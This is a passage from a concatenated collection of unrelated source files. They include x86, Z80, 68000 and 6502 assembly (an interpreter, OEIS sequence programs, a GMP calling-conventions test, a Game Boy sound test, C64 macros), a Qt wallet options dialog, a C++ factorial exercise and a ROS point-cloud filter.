pop rax
pop rax
jmp rax
defop jump ; evaluated code
pop rax
pop eval_ip
push rax
ret
defop jump_entry_data
pop rax
pop eval_ip
add eval_ip, dict_entry_data
push rax
ret
defop call_data_seq ; word is in rax
push eval_ip
mov eval_ip, [rax+ptrsize*2]
add eval_ip, [d_offset_indirect_size+dict_entry_data]
call [d_begin_frame+dict_entry_code]
jmp [d_next_offset_indirect+dict_entry_code]
defop value_peeker
pop rbx
mov rax, [rax+ptrsize*2]
push rax
push rbx
ret
defop variable_peeker
pop rbx
mov rax, [rax+ptrsize*2]
push rax
push rbx
ret
;;;
;;; Aliases
;;;
;;; defalias lit,literal
defalias next_param,literal
;; defalias value_peeker,doconstant
;; defalias variable_peeker,dovar
defalias equals,eq
defalias drop_call_frame,drop2
|
Name: zel_comn.asm
Type: file
Size: 108727
Last-Modified: '2016-05-13T04:36:32Z'
SHA-1: 6928765255F3E0A3F4D61BA4D72ADC57371FE3DF
Description: null
|
; A125723: Greatest common divisor of n^6 and 6^n.
; Submitted by Jamie Morken(s2.)
; 1,4,27,16,1,46656,1,256,19683,64,1,2985984,1,64,729,65536,1,34012224,1,4096,729,64,1,191102976,1,64,387420489,4096,1,46656,1,1073741824,729,64,1,2176782336,1,64,729,262144,1,46656,1,4096,531441,64,1,12230590464
add $0,1
mov $2,6
pow $2,$0
pow $0,6
gcd $0,$2
|
dnl x86 calling conventions checking.
dnl Copyright 2000, 2003 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 3 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
include(`../config.m4')
C void x86_fldcw (unsigned short cw);
C
C Execute an fldcw, setting the x87 control word to cw.
PROLOGUE(x86_fldcw)
fldcw 4(%esp)
ret
EPILOGUE()
C unsigned short x86_fstcw (void);
C
C Execute an fstcw, returning the current x87 control word.
PROLOGUE(x86_fstcw)
xorl %eax, %eax
pushl %eax
fstcw (%esp)
popl %eax
ret
EPILOGUE()
dnl Instrumented profiling doesn't come out quite right below, since we
dnl don't do an actual "ret". There's only a few instructions here, so
dnl there's no great need to get them separately accounted, just let them
dnl get attributed to the caller.
ifelse(WANT_PROFILING,instrument,
`define(`WANT_PROFILING',no)')
C int calling_conventions (...);
C
C The global variable "calling_conventions_function" is the function to
C call, with the arguments as passed here.
C
C Perhaps the finit should be done only if the tags word isn't clear, but
C nothing uses the rounding mode or anything at the moment.
define(G,
m4_assert_numargs(1)
`GSYM_PREFIX`'$1')
.text
ALIGN(8)
PROLOGUE(calling_conventions)
movl (%esp), %eax
movl %eax, G(calling_conventions_retaddr)
movl $L(return), (%esp)
movl %ebx, G(calling_conventions_save_ebx)
movl %esi, G(calling_conventions_save_esi)
movl %edi, G(calling_conventions_save_edi)
movl %ebp, G(calling_conventions_save_ebp)
movl $0x01234567, %ebx
movl $0x89ABCDEF, %esi
movl $0xFEDCBA98, %edi
movl $0x76543210, %ebp
C try to provoke a problem by starting with junk in the registers,
C especially in %eax and %edx which will be return values
movl $0x70246135, %eax
movl $0x8ACE9BDF, %ecx
movl $0xFDB97531, %edx
jmp *G(calling_conventions_function)
L(return):
movl %ebx, G(calling_conventions_ebx)
movl %esi, G(calling_conventions_esi)
movl %edi, G(calling_conventions_edi)
movl %ebp, G(calling_conventions_ebp)
pushf
popl %ebx
movl %ebx, G(calling_conventions_eflags)
fstenv G(calling_conventions_fenv)
finit
movl G(calling_conventions_save_ebx), %ebx
movl G(calling_conventions_save_esi), %esi
movl G(calling_conventions_save_edi), %edi
movl G(calling_conventions_save_ebp), %ebp
jmp *G(calling_conventions_retaddr)
EPILOGUE()
|
copyright zengfr site:http://github.com/zengfr/romhack
004D04 move.b D0, ($6bdd,A5)
004D08 moveq #-$1, D0
016CC4 move.b ($6bdd,A5), D2
016CC8 rts [base+6BDD]
016CE0 move.b D2, ($6bdd,A5)
016CE4 rts [base+6BDD]
copyright zengfr site:http://github.com/zengfr/romhack
|
RESULTS_START EQU $c000
RESULTS_N_ROWS EQU 18
include "base.inc"
CorrectResults:
db $00, $00, $00, $F0, $F0, $F0, $F0, $F0 ; $09, affected
db $00, $00, $F0, $F0, $F0, $F0, $F0, $F0 ; $18, not affected
db $00, $00, $00, $F0, $F0, $F0, $F0, $F0 ; $0a, affected
db $00, $00, $00, $00, $F0, $F0, $F0, $F0 ; $28, not affected
db $00, $00, $00, $00, $00, $F0, $F0, $F0 ; $0b, affected
db $00, $00, $00, $F0, $F0, $F0, $F0, $F0 ; $1a, affected
db $00, $00, $00, $F0, $F0, $F0, $F0, $F0 ; $0c, affected
db $00, $00, $00, $00, $00, $F0, $F0, $F0 ; $29, affected
db $00, $00, $00, $00, $F0, $F0, $F0, $F0 ; $38, not affected
db $00, $00, $F0, $F0, $F0, $F0, $F0, $F0
db $00, $00, $F0, $F0, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $00, $00, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
db $00, $00, $00, $00, $F0, $F0, $F0, $F0
SubTest: MACRO
xor a
ldh [rNR52], a
cpl
ldh [rNR52], a
nops \3 + 2
ld hl, rPCM34
ld a, $F0
ldh [rNR42], a
ld a, \2
ldh [rNR43], a
ld a, $80
ldh [rNR44], a
nops \1
ld a, [hl]
call StoreResult
ENDM
RunTest:
ld de, $c000
xor a
ld [de], a
; Sample is 4 cycles long
SubTest $018, $9, 0
SubTest $019, $9, 0
SubTest $01a, $9, 0
SubTest $01b, $9, 0
SubTest $01c, $9, 0
SubTest $01d, $9, 0
SubTest $01e, $9, 0
SubTest $01f, $9, 0
; Sample is 4 cycles long (expressed differently)
SubTest $018, $18, 0
SubTest $019, $18, 0
SubTest $01a, $18, 0
SubTest $01b, $18, 0
SubTest $01c, $18, 0
SubTest $01d, $18, 0
SubTest $01e, $18, 0
SubTest $01f, $18, 0
; Sample is 8 cycles long
SubTest $030, $a, 0
SubTest $031, $a, 0
SubTest $032, $a, 0
SubTest $033, $a, 0
SubTest $034, $a, 0
SubTest $035, $a, 0
SubTest $036, $a, 0
SubTest $037, $a, 0
; Sample is 8 cycles long (expressed differently)
SubTest $030, $28, 0
SubTest $031, $28, 0
SubTest $032, $28, 0
SubTest $033, $28, 0
SubTest $034, $28, 0
SubTest $035, $28, 0
SubTest $036, $28, 0
SubTest $037, $28, 0
; Sample is 12 cycles long
SubTest $048, $0B, 0
SubTest $049, $0B, 0
SubTest $04a, $0B, 0
SubTest $04b, $0B, 0
SubTest $04c, $0B, 0
SubTest $04d, $0B, 0
SubTest $04e, $0B, 0
SubTest $04f, $0B, 0
; Sample is 16 cycles long (Next 4 tests)
SubTest $064, $1A, 0
SubTest $065, $1A, 0
SubTest $066, $1A, 0
SubTest $067, $1A, 0
SubTest $068, $1A, 0
SubTest $069, $1A, 0
SubTest $06a, $1A, 0
SubTest $06b, $1A, 0
SubTest $064, $0C, 0
SubTest $065, $0C, 0
SubTest $066, $0C, 0
SubTest $067, $0C, 0
SubTest $068, $0C, 0
SubTest $069, $0C, 0
SubTest $06a, $0C, 0
SubTest $06b, $0C, 0
SubTest $064, $29, 0
SubTest $065, $29, 0
SubTest $066, $29, 0
SubTest $067, $29, 0
SubTest $068, $29, 0
SubTest $069, $29, 0
SubTest $06a, $29, 0
SubTest $06b, $29, 0
SubTest $064, $38, 0
SubTest $065, $38, 0
SubTest $066, $38, 0
SubTest $067, $38, 0
SubTest $068, $38, 0
SubTest $069, $38, 0
SubTest $06a, $38, 0
SubTest $06b, $38, 0
; Run the same tests again, with one extra NOP
; Sample is 4 cycles long
SubTest $018, $9, 1
SubTest $019, $9, 1
SubTest $01a, $9, 1
SubTest $01b, $9, 1
SubTest $01c, $9, 1
SubTest $01d, $9, 1
SubTest $01e, $9, 1
SubTest $01f, $9, 1
; Sample is 4 cycles long (expressed differently)
SubTest $018, $18, 1
SubTest $019, $18, 1
SubTest $01a, $18, 1
SubTest $01b, $18, 1
SubTest $01c, $18, 1
SubTest $01d, $18, 1
SubTest $01e, $18, 1
SubTest $01f, $18, 1
; Sample is 8 cycles long
SubTest $030, $a, 1
SubTest $031, $a, 1
SubTest $032, $a, 1
SubTest $033, $a, 1
SubTest $034, $a, 1
SubTest $035, $a, 1
SubTest $036, $a, 1
SubTest $037, $a, 1
; Sample is 8 cycles long (expressed differently)
SubTest $030, $28, 1
SubTest $031, $28, 1
SubTest $032, $28, 1
SubTest $033, $28, 1
SubTest $034, $28, 1
SubTest $035, $28, 1
SubTest $036, $28, 1
SubTest $037, $28, 1
; Sample is 12 cycles long
SubTest $048, $0B, 1
SubTest $049, $0B, 1
SubTest $04a, $0B, 1
SubTest $04b, $0B, 1
SubTest $04c, $0B, 1
SubTest $04d, $0B, 1
SubTest $04e, $0B, 1
SubTest $04f, $0B, 1
; Sample is 16 cycles long (Next 4 tests)
SubTest $064, $1A, 0
SubTest $065, $1A, 1
SubTest $066, $1A, 1
SubTest $067, $1A, 1
SubTest $068, $1A, 1
SubTest $069, $1A, 1
SubTest $06a, $1A, 1
SubTest $06b, $1A, 1
SubTest $064, $0C, 1
SubTest $065, $0C, 1
SubTest $066, $0C, 1
SubTest $067, $0C, 1
SubTest $068, $0C, 1
SubTest $069, $0C, 1
SubTest $06a, $0C, 1
SubTest $06b, $0C, 1
SubTest $064, $29, 1
SubTest $065, $29, 1
SubTest $066, $29, 1
SubTest $067, $29, 1
SubTest $068, $29, 1
SubTest $069, $29, 1
SubTest $06a, $29, 1
SubTest $06b, $29, 1
SubTest $064, $38, 1
SubTest $065, $38, 1
SubTest $066, $38, 1
SubTest $067, $38, 1
SubTest $068, $38, 1
SubTest $069, $38, 1
SubTest $06a, $38, 1
SubTest $06b, $38, 1
ret
StoreResult::
ld [de], a
inc de
ret
CGB_MODE
|
// Copyright (c) 2011-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/pptp-config.h"
#endif
#include "optionsdialog.h"
#include "ui_optionsdialog.h"
#include "bitcoinunits.h"
#include "guiutil.h"
#include "optionsmodel.h"
#include "validation.h" // for DEFAULT_SCRIPTCHECK_THREADS and MAX_SCRIPTCHECK_THREADS
#include "netbase.h"
#include "txdb.h" // for -dbcache defaults
#ifdef ENABLE_WALLET
#include "wallet/wallet.h" // for CWallet::GetRequiredFee()
#include "privatesend-client.h"
#endif // ENABLE_WALLET
#include <boost/thread.hpp>
#include <QDataWidgetMapper>
#include <QDir>
#include <QIntValidator>
#include <QLocale>
#include <QMessageBox>
#include <QTimer>
#ifdef ENABLE_WALLET
extern CWallet* pwalletMain;
#endif // ENABLE_WALLET
OptionsDialog::OptionsDialog(QWidget *parent, bool enableWallet) :
QDialog(parent),
ui(new Ui::OptionsDialog),
model(0),
mapper(0)
{
ui->setupUi(this);
/* Main elements init */
ui->databaseCache->setMinimum(nMinDbCache);
ui->databaseCache->setMaximum(nMaxDbCache);
ui->threadsScriptVerif->setMinimum(-GetNumCores());
ui->threadsScriptVerif->setMaximum(MAX_SCRIPTCHECK_THREADS);
/* Network elements init */
#ifndef USE_UPNP
ui->mapPortUpnp->setEnabled(false);
#endif
ui->proxyIp->setEnabled(false);
ui->proxyPort->setEnabled(false);
ui->proxyPort->setValidator(new QIntValidator(1, 65535, this));
ui->proxyIpTor->setEnabled(false);
ui->proxyPortTor->setEnabled(false);
ui->proxyPortTor->setValidator(new QIntValidator(1, 65535, this));
connect(ui->connectSocks, SIGNAL(toggled(bool)), ui->proxyIp, SLOT(setEnabled(bool)));
connect(ui->connectSocks, SIGNAL(toggled(bool)), ui->proxyPort, SLOT(setEnabled(bool)));
connect(ui->connectSocks, SIGNAL(toggled(bool)), this, SLOT(updateProxyValidationState()));
connect(ui->connectSocksTor, SIGNAL(toggled(bool)), ui->proxyIpTor, SLOT(setEnabled(bool)));
connect(ui->connectSocksTor, SIGNAL(toggled(bool)), ui->proxyPortTor, SLOT(setEnabled(bool)));
connect(ui->connectSocksTor, SIGNAL(toggled(bool)), this, SLOT(updateProxyValidationState()));
/* Window elements init */
#ifdef Q_OS_MAC
/* remove Window tab on Mac */
ui->tabWidget->removeTab(ui->tabWidget->indexOf(ui->tabWindow));
#endif
/* remove Wallet tab in case of -disablewallet */
if (!enableWallet) {
ui->tabWidget->removeTab(ui->tabWidget->indexOf(ui->tabWallet));
}
/* Display elements init */
/* Number of displayed decimal digits selector */
QString digits;
for(int index = 2; index <=8; index++){
digits.setNum(index);
ui->digits->addItem(digits, digits);
}
/* Theme selector */
ui->theme->addItem(QString("CG-light"), QVariant("light"));
ui->theme->addItem(QString("CG-light-hires"), QVariant("light-hires"));
ui->theme->addItem(QString("CG-blue"), QVariant("drkblue"));
ui->theme->addItem(QString("CG-Crownium"), QVariant("crownium"));
ui->theme->addItem(QString("CG-traditional"), QVariant("trad"));
/* Language selector */
QDir translations(":translations");
ui->lang->addItem(QString("(") + tr("default") + QString(")"), QVariant(""));
Q_FOREACH(const QString &langStr, translations.entryList())
{
QLocale locale(langStr);
/** check if the locale name consists of 2 parts (language_country) */
if(langStr.contains("_"))
{
#if QT_VERSION >= 0x040800
/** display language strings as "native language - native country (locale name)", e.g. "Deutsch - Deutschland (de)" */
ui->lang->addItem(locale.nativeLanguageName() + QString(" - ") + locale.nativeCountryName() + QString(" (") + langStr + QString(")"), QVariant(langStr));
#else
/** display language strings as "language - country (locale name)", e.g. "German - Germany (de)" */
ui->lang->addItem(QLocale::languageToString(locale.language()) + QString(" - ") + QLocale::countryToString(locale.country()) + QString(" (") + langStr + QString(")"), QVariant(langStr));
#endif
}
else
{
#if QT_VERSION >= 0x040800
/** display language strings as "native language (locale name)", e.g. "Deutsch (de)" */
ui->lang->addItem(locale.nativeLanguageName() + QString(" (") + langStr + QString(")"), QVariant(langStr));
#else
/** display language strings as "language (locale name)", e.g. "German (de)" */
ui->lang->addItem(QLocale::languageToString(locale.language()) + QString(" (") + langStr + QString(")"), QVariant(langStr));
#endif
}
}
#if QT_VERSION >= 0x040700
ui->thirdPartyTxUrls->setPlaceholderText("https://example.com/tx/%s");
#endif
ui->unit->setModel(new BitcoinUnits(this));
/* Widget-to-option mapper */
mapper = new QDataWidgetMapper(this);
mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);
mapper->setOrientation(Qt::Vertical);
/* setup/change UI elements when proxy IPs are invalid/valid */
ui->proxyIp->setCheckValidator(new ProxyAddressValidator(parent));
ui->proxyIpTor->setCheckValidator(new ProxyAddressValidator(parent));
connect(ui->proxyIp, SIGNAL(validationDidChange(QValidatedLineEdit *)), this, SLOT(updateProxyValidationState()));
connect(ui->proxyIpTor, SIGNAL(validationDidChange(QValidatedLineEdit *)), this, SLOT(updateProxyValidationState()));
connect(ui->proxyPort, SIGNAL(textChanged(const QString&)), this, SLOT(updateProxyValidationState()));
connect(ui->proxyPortTor, SIGNAL(textChanged(const QString&)), this, SLOT(updateProxyValidationState()));
}
OptionsDialog::~OptionsDialog()
{
delete ui;
}
void OptionsDialog::setModel(OptionsModel *model)
{
this->model = model;
if(model)
{
/* check if client restart is needed and show persistent message */
if (model->isRestartRequired())
showRestartWarning(true);
QString strLabel = model->getOverriddenByCommandLine();
if (strLabel.isEmpty())
strLabel = tr("none");
ui->overriddenByCommandLineLabel->setText(strLabel);
mapper->setModel(model);
setMapper();
mapper->toFirst();
updateDefaultProxyNets();
}
/* warn when one of the following settings changes by user action (placed here so init via mapper doesn't trigger them) */
/* Main */
connect(ui->databaseCache, SIGNAL(valueChanged(int)), this, SLOT(showRestartWarning()));
connect(ui->threadsScriptVerif, SIGNAL(valueChanged(int)), this, SLOT(showRestartWarning()));
/* Wallet */
connect(ui->showMasternodesTab, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning()));
connect(ui->spendZeroConfChange, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning()));
/* Network */
connect(ui->allowIncoming, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning()));
connect(ui->connectSocks, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning()));
connect(ui->connectSocksTor, SIGNAL(clicked(bool)), this, SLOT(showRestartWarning()));
/* Display */
connect(ui->digits, SIGNAL(valueChanged()), this, SLOT(showRestartWarning()));
connect(ui->theme, SIGNAL(valueChanged()), this, SLOT(showRestartWarning()));
connect(ui->lang, SIGNAL(valueChanged()), this, SLOT(showRestartWarning()));
connect(ui->thirdPartyTxUrls, SIGNAL(textChanged(const QString &)), this, SLOT(showRestartWarning()));
}
void OptionsDialog::setMapper()
{
/* Main */
mapper->addMapping(ui->bitcoinAtStartup, OptionsModel::StartAtStartup);
mapper->addMapping(ui->threadsScriptVerif, OptionsModel::ThreadsScriptVerif);
mapper->addMapping(ui->databaseCache, OptionsModel::DatabaseCache);
/* Wallet */
mapper->addMapping(ui->coinControlFeatures, OptionsModel::CoinControlFeatures);
mapper->addMapping(ui->showMasternodesTab, OptionsModel::ShowMasternodesTab);
mapper->addMapping(ui->showAdvancedPSUI, OptionsModel::ShowAdvancedPSUI);
mapper->addMapping(ui->lowKeysWarning, OptionsModel::LowKeysWarning);
mapper->addMapping(ui->privateSendMultiSession, OptionsModel::PrivateSendMultiSession);
mapper->addMapping(ui->spendZeroConfChange, OptionsModel::SpendZeroConfChange);
mapper->addMapping(ui->privateSendRounds, OptionsModel::PrivateSendRounds);
mapper->addMapping(ui->privateSendAmount, OptionsModel::PrivateSendAmount);
/* Network */
mapper->addMapping(ui->mapPortUpnp, OptionsModel::MapPortUPnP);
mapper->addMapping(ui->allowIncoming, OptionsModel::Listen);
mapper->addMapping(ui->connectSocks, OptionsModel::ProxyUse);
mapper->addMapping(ui->proxyIp, OptionsModel::ProxyIP);
mapper->addMapping(ui->proxyPort, OptionsModel::ProxyPort);
mapper->addMapping(ui->connectSocksTor, OptionsModel::ProxyUseTor);
mapper->addMapping(ui->proxyIpTor, OptionsModel::ProxyIPTor);
mapper->addMapping(ui->proxyPortTor, OptionsModel::ProxyPortTor);
/* Window */
#ifndef Q_OS_MAC
mapper->addMapping(ui->hideTrayIcon, OptionsModel::HideTrayIcon);
mapper->addMapping(ui->minimizeToTray, OptionsModel::MinimizeToTray);
mapper->addMapping(ui->minimizeOnClose, OptionsModel::MinimizeOnClose);
#endif
/* Display */
mapper->addMapping(ui->digits, OptionsModel::Digits);
mapper->addMapping(ui->theme, OptionsModel::Theme);
mapper->addMapping(ui->lang, OptionsModel::Language);
mapper->addMapping(ui->unit, OptionsModel::DisplayUnit);
mapper->addMapping(ui->thirdPartyTxUrls, OptionsModel::ThirdPartyTxUrls);
}
void OptionsDialog::setOkButtonState(bool fState)
{
ui->okButton->setEnabled(fState);
}
void OptionsDialog::on_resetButton_clicked()
{
if(model)
{
// confirmation dialog
QMessageBox::StandardButton btnRetVal = QMessageBox::question(this, tr("Confirm options reset"),
tr("Client restart required to activate changes.") + "<br><br>" + tr("Client will be shut down. Do you want to proceed?"),
QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel);
if(btnRetVal == QMessageBox::Cancel)
return;
/* reset all options and close GUI */
model->Reset();
QApplication::quit();
}
}
void OptionsDialog::on_okButton_clicked()
{
mapper->submit();
#ifdef ENABLE_WALLET
privateSendClient.nCachedNumBlocks = std::numeric_limits<int>::max();
if(pwalletMain)
pwalletMain->MarkDirty();
#endif // ENABLE_WALLET
accept();
updateDefaultProxyNets();
}
void OptionsDialog::on_cancelButton_clicked()
{
reject();
}
void OptionsDialog::on_hideTrayIcon_stateChanged(int fState)
{
if(fState)
{
ui->minimizeToTray->setChecked(false);
ui->minimizeToTray->setEnabled(false);
}
else
{
ui->minimizeToTray->setEnabled(true);
}
}
void OptionsDialog::showRestartWarning(bool fPersistent)
{
ui->statusLabel->setStyleSheet("QLabel { color: red; }");
if(fPersistent)
{
ui->statusLabel->setText(tr("Client restart required to activate changes."));
}
else
{
ui->statusLabel->setText(tr("This change would require a client restart."));
// clear non-persistent status label after 10 seconds
// Todo: should perhaps be a class attribute, if we extend the use of statusLabel
QTimer::singleShot(10000, this, SLOT(clearStatusLabel()));
}
}
void OptionsDialog::clearStatusLabel()
{
ui->statusLabel->clear();
}
void OptionsDialog::updateProxyValidationState()
{
QValidatedLineEdit *pUiProxyIp = ui->proxyIp;
QValidatedLineEdit *otherProxyWidget = (pUiProxyIp == ui->proxyIpTor) ? ui->proxyIp : ui->proxyIpTor;
if (pUiProxyIp->isValid() && (!ui->proxyPort->isEnabled() || ui->proxyPort->text().toInt() > 0) && (!ui->proxyPortTor->isEnabled() || ui->proxyPortTor->text().toInt() > 0))
{
setOkButtonState(otherProxyWidget->isValid()); //only enable ok button if both proxys are valid
ui->statusLabel->clear();
}
else
{
setOkButtonState(false);
ui->statusLabel->setStyleSheet("QLabel { color: red; }");
ui->statusLabel->setText(tr("The supplied proxy address is invalid."));
}
}
void OptionsDialog::updateDefaultProxyNets()
{
proxyType proxy;
std::string strProxy;
QString strDefaultProxyGUI;
GetProxy(NET_IPV4, proxy);
strProxy = proxy.proxy.ToStringIP() + ":" + proxy.proxy.ToStringPort();
strDefaultProxyGUI = ui->proxyIp->text() + ":" + ui->proxyPort->text();
(strProxy == strDefaultProxyGUI.toStdString()) ? ui->proxyReachIPv4->setChecked(true) : ui->proxyReachIPv4->setChecked(false);
GetProxy(NET_IPV6, proxy);
strProxy = proxy.proxy.ToStringIP() + ":" + proxy.proxy.ToStringPort();
strDefaultProxyGUI = ui->proxyIp->text() + ":" + ui->proxyPort->text();
(strProxy == strDefaultProxyGUI.toStdString()) ? ui->proxyReachIPv6->setChecked(true) : ui->proxyReachIPv6->setChecked(false);
GetProxy(NET_TOR, proxy);
strProxy = proxy.proxy.ToStringIP() + ":" + proxy.proxy.ToStringPort();
strDefaultProxyGUI = ui->proxyIp->text() + ":" + ui->proxyPort->text();
(strProxy == strDefaultProxyGUI.toStdString()) ? ui->proxyReachTor->setChecked(true) : ui->proxyReachTor->setChecked(false);
}
ProxyAddressValidator::ProxyAddressValidator(QObject *parent) :
QValidator(parent)
{
}
QValidator::State ProxyAddressValidator::validate(QString &input, int &pos) const
{
Q_UNUSED(pos);
// Validate the proxy
CService serv(LookupNumeric(input.toStdString().c_str(), 9050));
proxyType addrProxy = proxyType(serv, true);
if (addrProxy.IsValid())
return QValidator::Acceptable;
return QValidator::Invalid;
}
|
/*Exercise 3 - Repeatition
Convert the C program given below which calculates the Factorial of a number that you input from the keyboard to a C++ program.
Please Note that the input command in C++ is std::cin. This is a representation of the Keyboard.*/
#include <iostream>
using namespace std;
int main()
{
int no;
long fac;
cout<<"Enter a Number : "<<endl;
cin>> no;
fac = 1;
for (int r=no; r >= 1; r--) {
fac = fac * r;
}
cout<<"Factorial of "<<no<< " is ="<<fac<<endl;
return 0;
}
|
; **************************************************
; PSGlib - C programming library for the SEGA PSG
; ( part of devkitSMS - github.com/sverx/devkitSMS )
; **************************************************
INCLUDE "PSGlib_private.inc"
SECTION code_clib
SECTION code_PSGlib
PUBLIC asm_PSGlib_SilenceChannels
EXTERN asm_sms_psg_silence
defc asm_PSGlib_SilenceChannels = asm_sms_psg_silence
; void PSGSilenceChannels (void)
; silence all the PSG channels
;
; uses : f, bc, hl
|
; A127189: E.g.f.: sqrt((1+4*x)/(1+2*x)).
; Submitted by Christian Krause
; 1,1,-5,39,-423,5985,-105885,2269575,-57475215,1684565505,-56176247925,2101511463975,-87163146984375,3969387329933025,-196863216968342925,10560219055989978375,-609129291476291961375,37591662102746977850625,-2471292534125033454961125
mov $2,1
lpb $0
sub $0,1
mul $3,$1
mul $3,2
add $3,$2
mul $2,$1
sub $1,2
add $2,$3
lpe
mov $0,$2
|
// Copyright 2021 Tier IV, Inc. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <glob.h>
#include <memory>
#include <string>
#include <utility>
#include "grid_map_core/GridMap.hpp"
#include "grid_map_cv/GridMapCvConverter.hpp"
#include "grid_map_msgs/msg/grid_map.hpp"
#include "grid_map_pcl/GridMapPclLoader.hpp"
#include "grid_map_pcl/helpers.hpp"
#include "grid_map_ros/GridMapRosConverter.hpp"
#include "pcl/io/pcd_io.h"
#include "pcl/point_types.h"
#include "pcl_conversions/pcl_conversions.h"
#include "rclcpp/rclcpp.hpp"
#include "rcutils/filesystem.h" // To be replaced by std::filesystem in C++17
#include "pointcloud_preprocessor/compare_map_filter/compare_elevation_map_filter_node.hpp"
namespace pointcloud_preprocessor
{
CompareElevationMapFilterComponent::CompareElevationMapFilterComponent(
const rclcpp::NodeOptions & options)
: Filter("CompareElevationMapFilter", options)
{
unsubscribe();
layer_name_ = this->declare_parameter("map_layer_name", std::string("elevation"));
height_diff_thresh_ = this->declare_parameter("height_diff_thresh", 0.15);
map_frame_ = this->declare_parameter("map_frame", "map");
rclcpp::QoS durable_qos{1};
durable_qos.transient_local();
sub_map_ = this->create_subscription<grid_map_msgs::msg::GridMap>(
"input/elevation_map", durable_qos,
std::bind(
&CompareElevationMapFilterComponent::elevationMapCallback, this, std::placeholders::_1));
}
void CompareElevationMapFilterComponent::elevationMapCallback(
const grid_map_msgs::msg::GridMap::ConstSharedPtr elevation_map)
{
grid_map::GridMapRosConverter::fromMessage(*elevation_map, elevation_map_);
elevation_map_data_ = elevation_map_.get(layer_name_);
const float min_value = elevation_map_.get(layer_name_).minCoeffOfFinites();
const float max_value = elevation_map_.get(layer_name_).maxCoeffOfFinites();
grid_map::GridMapCvConverter::toImage<uint16_t, 1>(
elevation_map_, layer_name_, CV_16UC1, min_value, max_value, elevation_image_);
subscribe();
}
void CompareElevationMapFilterComponent::filter(
const PointCloud2ConstPtr & input, [[maybe_unused]] const IndicesPtr & indices,
PointCloud2 & output)
{
pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_input(new pcl::PointCloud<pcl::PointXYZ>);
pcl::PointCloud<pcl::PointXYZ>::Ptr pcl_output(new pcl::PointCloud<pcl::PointXYZ>);
std::string output_frame = map_frame_;
output_frame = elevation_map_.getFrameId();
elevation_map_.setTimestamp(input->header.stamp.nanosec);
pcl::fromROSMsg(*input, *pcl_input);
pcl_output->points.reserve(pcl_input->points.size());
for (const auto & point : pcl_input->points) {
if (elevation_map_.isInside(grid_map::Position(point.x, point.y))) {
float elevation_value = elevation_map_.atPosition(
layer_name_, grid_map::Position(point.x, point.y),
grid_map::InterpolationMethods::INTER_LINEAR);
const float height_diff = point.z - elevation_value;
if (height_diff > height_diff_thresh_) {
pcl_output->points.push_back(point);
}
}
}
pcl::toROSMsg(*pcl_output, output);
output.header.stamp = input->header.stamp;
output.header.frame_id = output_frame;
}
} // namespace pointcloud_preprocessor
#include "rclcpp_components/register_node_macro.hpp"
RCLCPP_COMPONENTS_REGISTER_NODE(pointcloud_preprocessor::CompareElevationMapFilterComponent)
|
; A058482: Number of 3 X n binary matrices with no zero rows or columns.
; 1,25,265,2161,16081,115465,816985,5745121,40294561,282298105,1976795305,13839692881,96884227441,678208723945,4747518463225,33232801429441,232630126566721,1628412435648985,11398891698588745,79792255837258801
lpb $0,1
mov $2,$0
cal $2,190541 ; 7^n - 3^n.
sub $0,1
add $1,$2
lpe
div $1,4
mul $1,24
add $1,1
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; size_t wa_priority_queue_size(wa_priority_queue_t *q)
;
; Return the size of the queue in words.
;
; ===============================================================
SECTION code_adt_wa_priority_queue
PUBLIC asm_wa_priority_queue_size
EXTERN l_readword_2_hl
defc asm_wa_priority_queue_size = l_readword_2_hl - 4
; enter : hl = priority_queue *
;
; exit : hl = size in words
;
; uses : a, hl
|
; ==============================================================
; Additional macros by LB
; ==============================================================
include "equates.asm"
include "six-macros.asm"
; ==============================================================
; Macro to position the cursor
; ==============================================================
MAC PLOT
ldy #{1}
ldx #{2}
clc
jsr $E50A ; PLOT
ENDM
; ==============================================================
; Macro to print a string
; ==============================================================
MAC PRINTSTRING
ldy #>{0}
lda #<{0}
jsr $ab1e ; STROUT
ENDM
; ==============================================================
; Macro to print a byte
; ==============================================================
MAC PRINTBYTE
ldx #$00
ldy #$0a
lda {0}
jsr printnum
ENDM
; ==============================================================
; Macro to print a word (direct)
; ==============================================================
MAC PRINTWORD
lda #<{0}
ldx #>{0}
ldy #$0a
jsr printnum
ENDM
; ==============================================================
; Macro to print an IP address
; ==============================================================
MAC PRINT_IP
ldx #>({0})
lda #<({0})
jsr printip
PRINT CRLF
ENDM
; ==============================================================
; Macro for border color changes (raster time measure) - erase for no debug
; ==============================================================
MAC BORDER
;lda #{1}
;sta $d020
ENDM
; ==============================================================
; Macro for 16-bit subtraction - Subtract 2 from 1
; ==============================================================
MAC SUBTRACT16
sec
lda {1}
sbc {2}
sta {1}
lda {1}+1
